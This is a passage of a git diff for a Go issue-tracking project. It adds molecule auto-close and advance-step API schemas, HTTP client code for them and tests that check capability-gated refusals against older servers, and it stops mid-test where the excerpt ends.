[actor] + properties: + actor: + type: string + minLength: 1 + maxLength: 256 + pattern: '^[^\u0000-\u001F\u007F-\u009F\u2028\u2029]+$' + description: >- + Who advances, and with `auto_claim` the claimed step's assignee. + `ClaimRequest.actor`'s rules exactly. + auto_claim: + type: boolean + default: false + description: >- + Claim the next ready step for `actor`. Without it the operation + writes nothing and only names the step. + AdvanceMoleculeResponse: + type: object + required: [closed_step, complete, claimed] + properties: + closed_step: + $ref: '#/components/schemas/Issue' + molecule_id: + type: string + description: >- + The step's molecule root. ABSENT when the step belongs to no + molecule, and then nothing else below is set. + complete: + type: boolean + description: >- + Every step of the molecule is closed; `next_step` is then absent. + next_step: + $ref: '#/components/schemas/Issue' + claimed: + type: boolean + description: >- + `next_step` was claimed for `actor`, and is the post-claim row. + CloseIssueRequest: type: object additionalProperties: false @@ -11387,6 +11517,32 @@ components: member. The token spans the FULL 64-bit range, so a number would be rounded past 2^53 by an IEEE-754-double parser and the guard would miss a row nothing else touched; a string round-trips exactly in every consumer. + auto_close_molecule: + type: boolean + default: false + description: >- + Behind the `issues.close.autoCloseMolecule` behavior token: an + older server answers `unknown_parameter` for this name, and a + client checks the token before sending it. + + + Close the issue's molecule root IN THE SAME TRANSACTION when this + close completed it: the root is an auto-closing molecule root (a + `molecule`-typed or ephemeral root, or a template-labeled epic), + it is open, and every step under it is now closed. The root close + is unforced, guarded on the root revision read inside that + transaction, and records `all steps complete` and this request's + `session`. It runs for an idempotent re-close too, so replaying + the close of a molecule's last step heals a root left open. + + + OPT-IN, because an orchestrator may run its own molecule + lifecycle. A root that its close policy refuses (a live blocker) + or a close guard refuses (a template, a pinned root, a root + assigned to another actor) stays open, is named in + `molecule_auto_close_refusal`, and never fails this close. Any + other failure of the root close, such as a storage error, fails + this close with it. CloseIssueResponse: type: object required: [issue, already_closed, open_children, revision] @@ -11431,6 +11587,18 @@ components: `float` — rounds anything past 2^53 to a value NEAR the token that is not it, so a guard composed from it is refused against a row nothing else touched. A string round-trips exactly in every consumer. + auto_closed_molecule: + $ref: '#/components/schemas/Issue' + molecule_auto_close_refusal: + type: string + description: >- + With `issues.close.autoCloseMolecule` and `auto_close_molecule`: + why the molecule root this close completed stayed open — the + root's own close policy refused it (a live blocker on the root), + or a close guard did (a template, a pinned root, a root assigned + to another actor). Prose; absent when nothing was refused. `auto_closed_molecule`, + beside it, is the root the close also closed, absent when none + was. ReopenIssueRequest: type: object additionalProperties: false diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 02a66f58c..6604685ac 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -33,6 +33,48 @@ "required": true, "item_type": "object" }, + { + "schema": "AdvanceMoleculeRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "AdvanceMoleculeRequest", + "member": "auto_claim", + "type": "boolean", + "required": false + }, + { + "schema": "AdvanceMoleculeResponse", + "member": "claimed", + "type": "boolean", + "required": true + }, + { + "schema": "AdvanceMoleculeResponse", + "member": "closed_step", + "type": "object", + "required": true + }, + { + "schema": "AdvanceMoleculeResponse", + "member": "complete", + "type": "boolean", + "required": true + }, + { + "schema": "AdvanceMoleculeResponse", + "member": "molecule_id", + "type": "string", + "required": false + }, + { + "schema": "AdvanceMoleculeResponse", + "member": "next_step", + "type": "object", + "required": false + }, { "schema": "AnchorEdgeCount", "member": "count", @@ -595,6 +637,12 @@ "type": "string", "required": true }, + { + "schema": "BatchCloseRequest", + "member": "auto_close_molecule", + "type": "boolean", + "required": false + }, { "schema": "BatchCloseRequest", "member": "force", @@ -1166,6 +1214,12 @@ "type": "string", "required": true }, + { + "schema": "CloseIssueRequest", + "member": "auto_close_molecule", + "type": "boolean", + "required": false + }, { "schema": "CloseIssueRequest", "member": "expected_version", @@ -1196,12 +1250,24 @@ "type": "boolean", "required": true }, + { + "schema": "CloseIssueResponse", + "member": "auto_closed_molecule", + "type": "object", + "required": false + }, { "schema": "CloseIssueResponse", "member": "issue", "type": "object", "required": true }, + { + "schema": "CloseIssueResponse", + "member": "molecule_auto_close_refusal", + "type": "string", + "required": false + }, { "schema": "CloseIssueResponse", "member": "open_children", @@ -1226,6 +1292,12 @@ "type": "string", "required": false }, + { + "schema": "CloseOutcome", + "member": "auto_closed_molecule", + "type": "object", + "required": false + }, { "schema": "CloseOutcome", "member": "blockers", @@ -1257,6 +1329,12 @@ "type": "string", "required": true }, + { + "schema": "CloseOutcome", + "member": "molecule_auto_close_refusal", + "type": "string", + "required": false + }, { "schema": "CloseOutcome", "member": "open_children", @@ -4866,6 +4944,13 @@ "required": true, "style": "simple" }, + { + "schema": "param:advanceMolecule", + "member": "path:id", + "type": "string", + "required": true, + "style": "simple" + }, { "schema": "param:claimIssue", "member": "path:id", @@ -6106,6 +6191,8 @@ "AddCommentRequest": "request", "AddDependenciesRequest": "request", "AddDependenciesResponse": "response", + "AdvanceMoleculeRequest": "request", + "AdvanceMoleculeResponse": "response", "AnchorEdgeCount": "response", "ApplyBatchRequest": "request", "ApplyBatchResponse": "response", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index ea7f30ec2..265a370e8 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -32,6 +32,7 @@ go_library( "memories.go", "metadata.go", "metadatacas.go", + "molecule.go", "offrole.go", "open_with.go", "order.go", @@ -117,6 +118,7 @@ go_test( "lifecycle_update_test.go", "list_sort_test.go", "metadatacas_test.go", + "molecule_test.go", "open_with_test.go", "race_detector_off_test.go", "race_detector_on_test.go", @@ -149,6 +151,7 @@ go_test( "served_list_test.go", "served_memories_deps_test.go", "served_metadata_cas_test.go", + "served_molecule_test.go", "served_project_swap_test.go", "served_querier_test.go", "served_reader_test.go", diff --git a/internal/httpclient/batchcloser.go b/internal/httpclient/batchcloser.go index d7257186a..17a296eb4 100644 --- a/internal/httpclient/batchcloser.go +++ b/internal/httpclient/batchcloser.go @@ -123,6 +123,11 @@ func (b *httpBatchCloser) CloseBatch(ctx context.Context, req issueops.CloseBatc if err != nil { return issueops.CloseBatchResult{}, err } + // AutoCloseMolecule rides the member only where the server advertises it; + // elsewhere the batch is refused before it is dialed (molecule.go). + if err := b.store.requireAutoCloseMolecule(ctx, "BatchCloser.CloseBatch", req.AutoCloseMolecule); err != nil { + return issueops.CloseBatchResult{}, err + } if served { return b.serveBatch(ctx, req) } @@ -175,7 +180,12 @@ func (b *httpBatchCloser) serveComposedSingle(ctx context.Context, req issueops. return issueops.CloseBatchResult{}, err } item := req.Items[0] - res, err := b.wire.CloseIssue(ctx, item.IssueID, closeBody(req.Actor, item.Reason, req.Session, req.Force)) + body := closeBody(req.Actor, item.Reason, req.Session, req.Force) + if req.AutoCloseMolecule { + autoClose := true + body.AutoCloseMolecule = &autoClose + } + res, err := b.wire.CloseIssue(ctx, item.IssueID, body) if err != nil { if outcome, ok := perItemCloseRefusal(item.IssueID, err); ok { // A per-item refusal is a RESULT and never the method's error. The @@ -188,10 +198,12 @@ func (b *httpBatchCloser) serveComposedSingle(ctx context.Context, req issueops. issue := res.Issue return issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{{ - IssueID: item.IssueID, - Issue: &issue, - Changed: !res.AlreadyClosed, - OpenChildren: res.OpenChildren, + IssueID: item.IssueID, + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + AutoClosedMolecule: res.AutoClosedMolecule, + MoleculeAutoCloseRefusal: derefStringPtr(res.MoleculeAutoCloseRefusal), }}}, nil } @@ -218,6 +230,10 @@ func batchCloseBody(req issueops.CloseBatchRequest) apigen.BatchCloseRequest { force := true body.Force = &force } + if req.AutoCloseMolecule { + autoClose := true + body.AutoCloseMolecule = &autoClose + } return body } @@ -265,6 +281,10 @@ func decodeBatchCloseOutcome(actor string, item apigen.CloseOutcome) issueops.Cl out.OpenChildren = *item.OpenChildren } out.Changed = item.AlreadyClosed == nil || !*item.AlreadyClosed + out.AutoClosedMolecule = item.AutoClosedMolecule + if item.MoleculeAutoCloseRefusal != nil { + out.MoleculeAutoCloseRefusal = *item.MoleculeAutoCloseRefusal + } return out } diff --git a/internal/httpclient/batchgetter.go b/internal/httpclient/batchgetter.go index 3f48ef403..c1f6eccd3 100644 --- a/internal/httpclient/batchgetter.go +++ b/internal/httpclient/batchgetter.go @@ -4,6 +4,7 @@ package httpclient import ( "context" + "errors" "fmt" "net/http" @@ -66,6 +67,15 @@ func (g *httpBatchGetter) GetMany(ctx context.Context, req issueops.GetManyReque return issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}}, nil } + token, _ := wire.CapabilityFor(wire.OpBatchGetIssues) + served, err := g.store.servesCapability(ctx, token) + if err != nil { + return issueops.GetManyResult{}, err + } + if !served { + return g.getOneAtATime(ctx, req.IDs) + } + var body apigen.BatchGetIssuesResult if err := g.store.dispatch(ctx, wire.Request{ Op: wire.OpBatchGetIssues, @@ -128,3 +138,39 @@ func checkGetManyIDs(ids []string) error { } return nil } + +// getOneAtATime answers a GetMany against a server that does not advertise +// issues.batchGet with one getIssue per distinct id, in first-mention order — +// the same rows and the same Missing a batch would answer, without its single +// snapshot. It is a transport fallback for a capability, kept here so no +// caller of the role has to know which servers publish the batch. +func (g *httpBatchGetter) getOneAtATime(ctx context.Context, ids []string) (issueops.GetManyResult, error) { + reader, err := g.store.IssueReader() + if err != nil { + return issueops.GetManyResult{}, err + } + out := issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}} + seen := make(map[string]bool, len(ids)) + for _, id := range ids { + if seen[id] { + continue + } + seen[id] = true + details, err := reader.Get(ctx, issueops.GetRequest{ID: id}) + if errors.Is(err, issueops.ErrNotFound) { + out.Missing = append(out.Missing, id) + continue + } + if err != nil { + return issueops.GetManyResult{}, err + } + issue := details.Issue + if len(issue.Labels) == 0 && len(details.Labels) > 0 { + issue.Labels = append([]string(nil), details.Labels...) + } + // Hydration is labels only, as the batch's is. + issue.Dependencies, issue.Comments = nil, nil + out.Issues = append(out.Issues, &issue) + } + return out, nil +} diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 0caefe063..ea0df8554 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -464,6 +464,15 @@ func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (i body := closeBody(req.Actor, req.Reason, req.Session, req.Force) body.ExpectedVersion = revisionGuard(req.ExpectedVersion) + // AutoCloseMolecule rides the member only where the server advertises it; + // elsewhere the close is refused before it is dialed (molecule.go). + if err := l.store.requireAutoCloseMolecule(ctx, "IssueLifecycle.Close", req.AutoCloseMolecule); err != nil { + return issueops.CloseResult{}, err + } + if req.AutoCloseMolecule { + autoClose := true + body.AutoCloseMolecule = &autoClose + } res, err := l.wire.CloseIssue(ctx, req.IssueID, body) if err != nil { return issueops.CloseResult{}, err @@ -474,11 +483,16 @@ func (l *httpLifecycle) Close(ctx context.Context, req issueops.CloseRequest) (i if issue.RowVersion, err = parseRevision("closeIssue", res.Revision); err != nil { return issueops.CloseResult{}, err } - return issueops.CloseResult{ - Issue: &issue, - Changed: !res.AlreadyClosed, - OpenChildren: res.OpenChildren, - }, nil + result := issueops.CloseResult{ + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + AutoClosedMolecule: res.AutoClosedMolecule, + } + if res.MoleculeAutoCloseRefusal != nil { + result.MoleculeAutoCloseRefusal = *res.MoleculeAutoCloseRefusal + } + return result, nil } // Reopen dials POST issues/{id}:reopen. diff --git a/internal/httpclient/molecule.go b/internal/httpclient/molecule.go new file mode 100644 index 000000000..a9571345b --- /dev/null +++ b/internal/httpclient/molecule.go @@ -0,0 +1,125 @@ +package httpclient + +import ( + "context" + "net/http" + "slices" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/issueops" +) + +// servesCapability reports whether the server advertises token. It forces the +// one lazy handshake the store owns and returns that handshake's error rather +// than reading a failure as "not served": every caller below is a write whose +// two legs both dial, so a handshake that cannot be had means the write cannot +// be attempted at all (servesBatchClose's reasoning). +func (s *Store) servesCapability(ctx context.Context, token string) (bool, error) { + snap, err := s.snapshot(ctx) + if err != nil { + return false, err + } + return snap != nil && slices.Contains(snap.Capabilities, token), nil +} + +// ServesMoleculeAutoClose implements storage.MoleculeAutoCloseProber from the +// handshake: whether this server runs CloseRequest.AutoCloseMolecule. +func (s *Store) ServesMoleculeAutoClose(ctx context.Context) (bool, error) { + return s.servesCapability(ctx, wire.CapCloseAutoCloseMolecule) +} + +var _ storage.MoleculeAutoCloseProber = (*Store)(nil) + +// ServesMoleculeAdvance implements storage.MoleculeAdvanceProber from the +// handshake: whether this server serves issues.advanceMolecule. +func (s *Store) ServesMoleculeAdvance(ctx context.Context) (bool, error) { + token, _ := wire.CapabilityFor(wire.OpAdvanceMolecule) + return s.servesCapability(ctx, token) +} + +var _ storage.MoleculeAdvanceProber = (*Store)(nil) + +// requireAutoCloseMolecule refuses, before anything is dialed, a close that +// asks for AutoCloseMolecule against a server that does not advertise +// wire.CapCloseAutoCloseMolecule. The rule runs in ONE place — the server's +// library, inside the step close's transaction — so the client never runs a +// second, client-side copy of it, and it never drops the member and closes the +// step without the molecule either. The refusal is the typed capability error +// (Unsup.Capability names the token). +func (s *Store) requireAutoCloseMolecule(ctx context.Context, op string, requested bool) error { + if !requested { + return nil + } + served, err := s.servesCapability(ctx, wire.CapCloseAutoCloseMolecule) + if err != nil { + return err + } + if !served { + return s.unsupportedCapability(op, wire.CapCloseAutoCloseMolecule) + } + return nil +} + +// MoleculeStepper serves the advance-a-molecule role on +// POST /v0/beads/issues/{id}:advanceMolecule. +func (s *Store) MoleculeStepper() (issueops.MoleculeStepper, error) { + if _, err := s.roleWire("MoleculeStepper"); err != nil { + return nil, err + } + return &httpMoleculeStepper{store: s}, nil +} + +// httpMoleculeStepper dials advanceMolecule, where the server's library runs +// the one stepper. Against a server that does not advertise +// issues.advanceMolecule it refuses before dialing with the typed capability +// error; it never composes a client-side copy of the advance. +type httpMoleculeStepper struct{ store *Store } + +var _ issueops.MoleculeStepper = (*httpMoleculeStepper)(nil) + +func (m *httpMoleculeStepper) Advance(ctx context.Context, req issueops.AdvanceRequest) (issueops.AdvanceResult, error) { + if err := issueops.ValidateAdvanceRequest(req); err != nil { + return issueops.AdvanceResult{}, err + } + token, _ := wire.CapabilityFor(wire.OpAdvanceMolecule) + served, err := m.store.servesCapability(ctx, token) + if err != nil { + return issueops.AdvanceResult{}, err + } + if !served { + return issueops.AdvanceResult{}, m.store.unsupportedCapability("MoleculeStepper.Advance", token) + } + + path, err := wire.IssueMethodPath(req.ClosedStepID, wire.MethodAdvanceMolecule) + if err != nil { + return issueops.AdvanceResult{}, err + } + body := apigen.AdvanceMoleculeRequest{Actor: req.Actor} + if req.AutoClaim { + autoClaim := true + body.AutoClaim = &autoClaim + } + var res apigen.AdvanceMoleculeResponse + if err := m.store.dispatch(ctx, wire.Request{ + Op: wire.OpAdvanceMolecule, + Method: http.MethodPost, + Path: path, + Body: body, + IssueID: req.ClosedStepID, + }, &res); err != nil { + return issueops.AdvanceResult{}, err + } + closed := res.ClosedStep + out := issueops.AdvanceResult{ + ClosedStep: &closed, + Complete: res.Complete, + NextStep: res.NextStep, + Claimed: res.Claimed, + } + if res.MoleculeId != nil { + out.MoleculeID = *res.MoleculeId + } + return out, nil +} diff --git a/internal/httpclient/molecule_test.go b/internal/httpclient/molecule_test.go new file mode 100644 index 000000000..eb21a9ebb --- /dev/null +++ b/internal/httpclient/molecule_test.go @@ -0,0 +1,180 @@ +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The molecule rules run in ONE place, the server's library. Against a server +// that does not advertise them the client refuses BEFORE dialing with the +// typed capability error: it never drops auto_close_molecule and closes the +// step alone, and never runs a client-side copy of the auto-close or advance. + +func requireCapabilityRefusal(t *testing.T, err error, token string, w *stubWire) { + t.Helper() + if err == nil { + t.Fatal("no error, want a pre-dial capability refusal") + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Capability != token { + t.Errorf("Capability = %q, want %q", unsup.Capability, token) + } + if len(w.calls) != 0 { + t.Errorf("dialed %v, want none: a pre-dial refusal must never reach the wire", w.calls) + } +} + +func TestAutoCloseMoleculeRefusesBeforeDialingWhenUnadvertised(t *testing.T) { + close := issueops.CloseRequest{Actor: "alice", IssueID: "bd-1", AutoCloseMolecule: true} + + t.Run("Close", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatal(err) + } + _, err = lifecycle.Close(t.Context(), close) + requireCapabilityRefusal(t, err, wire.CapCloseAutoCloseMolecule, w) + }) + + for name, caps := range map[string][]string{ + "CloseBatch served": {"issues.close", "issues.batchClose"}, + "CloseBatch composed": {"issues.close"}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + closer, err := New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: caps}).BatchCloser() + if err != nil { + t.Fatal(err) + } + _, err = closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "alice", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, AutoCloseMolecule: true, + }) + requireCapabilityRefusal(t, err, wire.CapCloseAutoCloseMolecule, w) + }) + } + + t.Run("without the flag a close still dials", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatal(err) + } + plain := close + plain.AutoCloseMolecule = false + if _, err := lifecycle.Close(t.Context(), plain); err != nil { + t.Fatalf("Close: %v", err) + } + if w.lastClose.AutoCloseMolecule != nil { + t.Errorf("auto_close_molecule = %v, want absent when not asked for", *w.lastClose.AutoCloseMolecule) + } + }) +} + +func TestAutoCloseMoleculeRidesTheMemberWhenAdvertised(t *testing.T) { + snap := &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: []string{ + "issues.close", "issues.batchClose", wire.CapCloseAutoCloseMolecule, + }} + root := types.Issue{ID: "bd-root", Status: types.StatusClosed} + + t.Run("Close", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0", AutoClosedMolecule: &root}} + lifecycle, err := New(testTarget(t), w, snap).IssueLifecycle() + if err != nil { + t.Fatal(err) + } + res, err := lifecycle.Close(t.Context(), issueops.CloseRequest{Actor: "alice", IssueID: "bd-1", AutoCloseMolecule: true}) + if err != nil { + t.Fatalf("Close: %v", err) + } + if w.lastClose.AutoCloseMolecule == nil || !*w.lastClose.AutoCloseMolecule { + t.Errorf("auto_close_molecule = %v, want true", w.lastClose.AutoCloseMolecule) + } + if res.AutoClosedMolecule == nil || res.AutoClosedMolecule.ID != "bd-root" { + t.Errorf("AutoClosedMolecule = %+v, want bd-root", res.AutoClosedMolecule) + } + }) + + t.Run("CloseBatch", func(t *testing.T) { + w := &stubWire{batchClose: &apigen.BatchCloseResponse{Outcomes: []apigen.CloseOutcome{{ + IssueId: "bd-1", Issue: &types.Issue{ID: "bd-1", Status: types.StatusClosed}, AutoClosedMolecule: &root, + }}}} + closer, err := New(testTarget(t), w, snap).BatchCloser() + if err != nil { + t.Fatal(err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "alice", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, AutoCloseMolecule: true, + }) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + if w.lastBatchClose.AutoCloseMolecule == nil || !*w.lastBatchClose.AutoCloseMolecule { + t.Errorf("auto_close_molecule = %v, want true", w.lastBatchClose.AutoCloseMolecule) + } + if len(res.Outcomes) != 1 || res.Outcomes[0].AutoClosedMolecule == nil || res.Outcomes[0].AutoClosedMolecule.ID != "bd-root" { + t.Errorf("Outcomes = %+v, want bd-1 reporting bd-root auto-closed", res.Outcomes) + } + }) +} + +func TestAdvanceMoleculeRefusesBeforeDialingWhenUnadvertised(t *testing.T) { + token, ok := wire.CapabilityFor(wire.OpAdvanceMolecule) + if !ok || token == "" { + t.Fatal("advanceMolecule has no capability token") + } + w := &stubWire{} + stepper, err := stubStore(t, w).MoleculeStepper() + if err != nil { + t.Fatal(err) + } + _, err = stepper.Advance(t.Context(), issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "bd-1", AutoClaim: true}) + requireCapabilityRefusal(t, err, token, w) +} + +// The CLI asks for the auto-close only where the route serves it +// (storage.ServesMoleculeAutoClose): a server silent on the token owns the +// molecule's auto-close, and a close there goes out without the member. +func TestServesMoleculeAutoCloseFollowsTheHandshake(t *testing.T) { + ctx := t.Context() + silent := New(testTarget(t), &stubWire{}, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: []string{"issues.close"}}) + if storage.ServesMoleculeAutoClose(ctx, silent) { + t.Error("ServesMoleculeAutoClose = true against a server silent on the token") + } + served := New(testTarget(t), &stubWire{}, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: []string{"issues.close", wire.CapCloseAutoCloseMolecule}}) + if !storage.ServesMoleculeAutoClose(ctx, served) { + t.Error("ServesMoleculeAutoClose = false against a server advertising the token") + } +} + +// `bd close --continue` asks storage.ServesMoleculeAdvance before it closes, +// so a server silent on issues.advanceMolecule is refused up front instead of +// after the step's close has committed. A handshake that fails is that error, +// not a yes: answering true would close the step and then fail the advance, +// the half-done state the probe exists to prevent. +func TestServesMoleculeAdvanceFollowsTheHandshake(t *testing.T) { + ctx := t.Context() + token, _ := wire.CapabilityFor(wire.OpAdvanceMolecule) + silent := New(testTarget(t), &stubWire{}, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: []string{"issues.close"}}) + if served, err := storage.ServesMoleculeAdvance(ctx, silent); served || err != nil { + t.Errorf("ServesMoleculeAdvance = (%v, %v) against a server silent on the token, want (false, nil)", served, err) + } + advertised := New(testTarget(t), &stubWire{}, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: []string{"issues.close", token}}) + if served, err := storage.ServesMoleculeAdvance(ctx, advertised); !served || err != nil { + t.Errorf("ServesMoleculeAdvance = (%v, %v) against a server advertising the token, want (true, nil)", served, err) + } + boom := errors.New("handshake failed") + failed := New(testTarget(t), handshakeWire{stubWire: &stubWire{}, err: boom}, nil) + if served, err := storage.ServesMoleculeAdvance(ctx, failed); served || !errors.Is(err, boom) { + t.Errorf("ServesMoleculeAdvance = (%v, %v) when the handshake fails, want (false, the handshake's error)", served, err) + } +} diff --git a/internal/httpclient/roles_graph.go b/internal/httpclient/roles_graph.go index 41f831959..3a0dda6a5 100644 --- a/internal/httpclient/roles_graph.go +++ b/internal/httpclient/roles_graph.go @@ -168,7 +168,35 @@ func (r httpEdgeReader) ReadEdges(ctx context.Context, req issueops.EdgeReadRequ if len(ids) == 0 { return issueops.EdgeReadResult{Anchors: []issueops.AnchorEdges{}}, nil } + // The ROLE has no anchor cap; the OPERATION refuses more than + // maxEdgeReadAnchors per request. Splitting is therefore this transport's + // job, never the caller's: each chunk is one round trip and the answers + // concatenate in request order. A read loses nothing by being split — the + // one property it gives up is the single snapshot across chunks, which + // per-anchor answers do not rely on. + if len(ids) > maxEdgeReadAnchors { + anchors := make([]issueops.AnchorEdges, 0, len(ids)) + for start := 0; start < len(ids); start += maxEdgeReadAnchors { + end := min(start+maxEdgeReadAnchors, len(ids)) + part, err := r.readEdgeChunk(ctx, ids[start:end], req.Types) + if err != nil { + return issueops.EdgeReadResult{}, err + } + anchors = append(anchors, part.Anchors...) + } + return issueops.EdgeReadResult{Anchors: anchors}, nil + } + return r.readEdgeChunk(ctx, ids, req.Types) +} +// maxEdgeReadAnchors is the listDependencies operation's cap on `issue_id` +// values (maxDependencyAnchors in internal/httpapi), redeclared because a +// client does not import the server. +const maxEdgeReadAnchors = 100 + +// readEdgeChunk answers at most maxEdgeReadAnchors distinct ids in one call. +func (r httpEdgeReader) readEdgeChunk(ctx context.Context, ids []string, edgeTypes []types.DependencyType) (issueops.EdgeReadResult, error) { + req := issueops.EdgeReadRequest{IDs: ids, Types: edgeTypes} q := url.Values{} for _, id := range ids { q.Add("issue_id", id) diff --git a/internal/httpclient/served_molecule_test.go b/internal/httpclient/served_molecule_test.go new file mode 100644 index 000000000..54b67d876 --- /dev/null +++ b/internal/httpclient/served_molecule_test.go @@ -0,0 +1,235 @@ +//go:build cgo + +package httpclient + +import ( + "context" + "errors" + "fmt" + "slices" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The molecule contract against the served surface: the client sends +// auto_close_molecule and dials advanceMolecule, so the server's library runs +// the auto-close in the step close's transaction and the advance server-side. +// +// Against a server whose handshake lacks the two molecule tokens (an older +// server) the client refuses before dialing; the served refusal test below +// pins that the step it was asked to close stays open and unclaimed. + +func moleculeContractCases() []struct { + name string + run func(*testing.T, context.Context, conformance.MoleculeFixture) +} { + return []struct { + name string + run func(*testing.T, context.Context, conformance.MoleculeFixture) + }{ + {"CloseAutoClosesTheCompletedRoot", conformance.RunMoleculeCloseAutoClosesTheCompletedRoot}, + {"AutoCloseIsOptInAndRuleBound", conformance.RunMoleculeAutoCloseIsOptInAndRuleBound}, + {"RecloseHealsAStrandedRoot", conformance.RunMoleculeRecloseHealsAStrandedRoot}, + {"BatchCloseAutoClosesTheRootOnce", conformance.RunMoleculeBatchCloseAutoClosesTheRootOnce}, + {"RefusedRootKeepsTheStepClose", conformance.RunMoleculeRefusedRootKeepsTheStepClose}, + {"GuardedRootKeepsTheStepClose", conformance.RunMoleculeGuardedRootKeepsTheStepClose}, + {"StepperClaimsTheNextReadyStepForTheActor", conformance.RunMoleculeStepperClaimsTheNextReadyStepForTheActor}, + {"StepperNeverTakesAStepAnotherActorHolds", conformance.RunMoleculeStepperNeverTakesAStepAnotherActorHolds}, + {"StepperAnswersCompleteAndOutsideAMolecule", conformance.RunMoleculeStepperAnswersCompleteAndOutsideAMolecule}, + {"StepperClaimsAWispStep", conformance.RunMoleculeStepperClaimsAWispStep}, + } +} + +func newServedMoleculeFixture(t *testing.T, env *servedEnv, subject *Store) conformance.MoleculeFixture { + t.Helper() + lifecycle, err := subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + closer, err := subject.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + stepper, err := subject.MoleculeStepper() + if err != nil { + t.Fatalf("MoleculeStepper(): %v", err) + } + return conformance.MoleculeFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + BatchCloser: closer, + Stepper: stepper, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + } +} + +// degradedSubject is a client of env's server whose handshake lacks tokens, as +// an older server's would. +func degradedSubject(t *testing.T, env *servedEnv, strike ...string) *Store { + t.Helper() + snapshot, err := env.subject.snapshot(t.Context()) + if err != nil { + t.Fatalf("handshake: %v", err) + } + for _, token := range strike { + if !slices.Contains(snapshot.Capabilities, token) { + t.Fatalf("the served build does not advertise %q; the degraded arm would prove nothing", token) + } + } + masked := *snapshot + masked.Capabilities = slices.DeleteFunc(slices.Clone(snapshot.Capabilities), func(token string) bool { + return slices.Contains(strike, token) + }) + return New(env.subject.target, env.subject.wire, &masked) +} + +func advanceToken(t *testing.T) string { + t.Helper() + token, ok := wire.CapabilityFor(wire.OpAdvanceMolecule) + if !ok || token == "" { + t.Fatal("advanceMolecule has no capability token") + } + return token +} + +func TestServedMoleculeContract(t *testing.T) { + for _, tc := range moleculeContractCases() { + t.Run(tc.name, func(t *testing.T) { + env := newServedEnv(t, "hmol") + tc.run(t, t.Context(), newServedMoleculeFixture(t, env, env.subject)) + }) + } +} + +// Against an older server (the molecule tokens struck from the handshake) a +// close that asks for the auto-close and an advance are refused before they +// are dialed: the step stays open, nothing is claimed, and the refusal names +// the missing token. +func TestServedMoleculeRefusesAgainstAnOlderServer(t *testing.T) { + env := newServedEnv(t, "hmold") + ctx := t.Context() + subject := degradedSubject(t, env, wire.CapCloseAutoCloseMolecule, advanceToken(t)) + fixture := newServedMoleculeFixture(t, env, subject) + for _, issue := range []*types.Issue{ + {ID: "hmold-r", Title: "root", IssueType: types.TypeMolecule, Status: types.StatusOpen}, + {ID: "hmold-r.1", Title: "step", IssueType: types.TypeTask, Status: types.StatusOpen}, + {ID: "hmold-r.2", Title: "next", IssueType: types.TypeTask, Status: types.StatusOpen}, + } { + if err := env.createIssue(ctx, issue, "t"); err != nil { + t.Fatal(err) + } + } + for _, child := range []string{"hmold-r.1", "hmold-r.2"} { + if err := env.addDependency(ctx, &types.Dependency{IssueID: child, DependsOnID: "hmold-r", Type: types.DepParentChild}, "t"); err != nil { + t.Fatal(err) + } + } + status := func(id string) string { + t.Helper() + got, err := env.subject.GetIssue(ctx, id) + if err != nil { + t.Fatal(err) + } + return string(got.Status) + "/" + got.Assignee + } + requireRefusal := func(what string, err error, token string) { + t.Helper() + var unsup *storage.ErrUnsupported + if 